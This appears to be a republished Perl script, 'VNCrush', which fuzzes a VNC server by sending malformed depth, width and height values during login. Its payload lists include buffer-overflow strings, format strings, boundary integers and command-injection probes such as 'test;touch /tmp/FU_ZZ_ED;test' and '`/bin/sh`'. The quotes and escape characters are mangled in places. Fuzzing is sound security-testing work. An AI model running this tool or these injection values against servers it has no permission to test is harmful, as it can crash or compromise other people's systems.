‘VNC Server Fuzzer’

Details

‘Tool source:
#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# VNCrush – VNC Server Fuzzer
# How many more elaborate names for fuzzing tools can I come up with? Short answer: the imagination is limitless 🙂
# Some servers will throw out some of the fuzz strings, some won’t 😉

use Net::VNC;
use Getopt::Std;

# FUZZ DATA BEGIN HERE
@overflows = (‘A’ x 2200, ‘A’ x 4200, ‘A’ x 8400, ‘A’ x 12000, ‘A’ x 22000, ‘A’ x 52000, ‘A’ x 102000, ‘A’ x 500500,
       ‘A’ x 1002000, ‘A’ x 5005000, ‘A’ x 12000000, ‘//AAAA’ x 8500, ‘\AAAA’ x 8500, ‘x99’ x 12000);

@fmtstring = (‘%n%n%n%n%n’, ‘%p%p%p%p%p’, ‘%s%s%s%s%s’, ‘%d%d%d%d%d’, ‘%x%x%x%x%x’,
              ‘%s%p%x%d’, ‘%.1024d’, ‘%.1025d’, ‘%.2048d’, ‘%.2049d’, ‘%.4096d’, ‘%.4097d’,
              ‘%99999999999s’, ‘%08x’, ‘%%20n’, ‘%%20p’, ‘%%20s’, ‘%%20d’, ‘%%20x’,
              ‘%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%’, ‘xCD’ x 50, ‘xCB’ x 50);

@numbers = (‘0’, ‘-0’, ‘1’, ‘-1’, ‘32767’, ‘-32768’, ‘2147483647’, ‘-2147483647’, ‘2147483648’, ‘-2147483648’,
              ‘4294967294’, ‘4294967295’, ‘4294967296’, ‘357913942’, ‘-357913942’, ‘536870912’, ‘-536870912’,
              ‘1.79769313486231E+308’, ‘3.39519326559384E-313’, ‘99999999999’, ‘-99999999999’, ‘0x100’, ‘0x1000’,
              ‘0x3fffffff’, ‘0x7ffffffe’, ‘0x7fffffff’, ‘0x80000000’, ‘0xffff’, ‘0xfffffffe’, ‘0xfffffff’, ‘0xffffffff’,
              ‘0x10000’, ‘0x100000’, ‘0x99999999’, ‘65535’, ‘65536’, ‘65537’, ‘16777215’, ‘16777216’, ‘16777217’, ‘-268435455’);

@miscbugs = (‘test|touch /tmp/FU_ZZ_ED|test’, ‘test`touch /tmp/FU_ZZ_ED`test’, ‘test\’touch /tmp/FU_ZZ_ED\’test’,
       ‘test;touch /tmp/FU_ZZ_ED;test’, ‘test&&touch /tmp/FU_ZZ_ED&&test’, ‘test|C:/WINDOWS/system32/calc.exe|test’,
       ‘test`C:/WINDOWS/system32/calc.exe`test’, ‘test\’C:/WINDOWS/system32/calc.exe\’test’, ‘test;C:/WINDOWS/system32/calc.exe;test’,
       ‘C:/WINDOWS/system32/calc.exe”, ‘`/bin/sh`’, ‘%0xa’, ‘%u000’);
# FUZZ DATA END HERE

getopts(‘t:p:’, %opts);
$target = $opts{‘t’};
$password = $opts{‘p’};

if(!defined($target))
{
     print ‘n VNCrush – VNC Server Fuzzer’;
     print ‘nJeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]n’;
     print ‘n Usage: $0 -t <target> -p <password>nn’;
     exit(0);

}

     print ‘n VNCrush – VNC Server Fuzzer’;
     print ‘nJeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]n’;

     print ‘nFuzzing VNC Server @ $target/$password… GOOD LUCK!n’;

print ‘n’;
foreach(@overflows) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = depth/overflow]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth($fuzz);
$vnc->login; }
foreach(@fmtstring) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = depth/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth($fuzz);
$vnc->login; }
foreach(@numbers) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = depth/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth($fuzz);
$vnc->login; }
foreach(@miscbugs) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = depth/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth($fuzz);
$vnc->login; }

print ‘n’;
foreach(@overflows) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = width/overflow]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->width($fuzz);
$vnc->login; }
foreach(@fmtstring) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = width/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->width($fuzz);
$vnc->login; }
foreach(@numbers) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = width/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->width($fuzz);
$vnc->login; }
foreach(@miscbugs) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = width/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->width($fuzz);
$vnc->login; }

print ‘n’;
foreach(@overflows) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = height/overflow]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->height($fuzz);
$vnc->login; }
foreach(@fmtstring) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = height/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->height($fuzz);
$vnc->login; }
foreach(@numbers) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = height/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->height($fuzz);
$vnc->login; }
foreach(@miscbugs) { $fuzz = $_;
print ‘[Target = $target] [Fuzz = height/$fuzz]n’;
$vnc = Net::VNC->new({hostname => $target, password => $password});
$vnc->depth(24);
$vnc->height($fuzz);
$vnc->login; }

     print ‘nFuzzing Complete. No faults? Try another server!nn’;

exit;’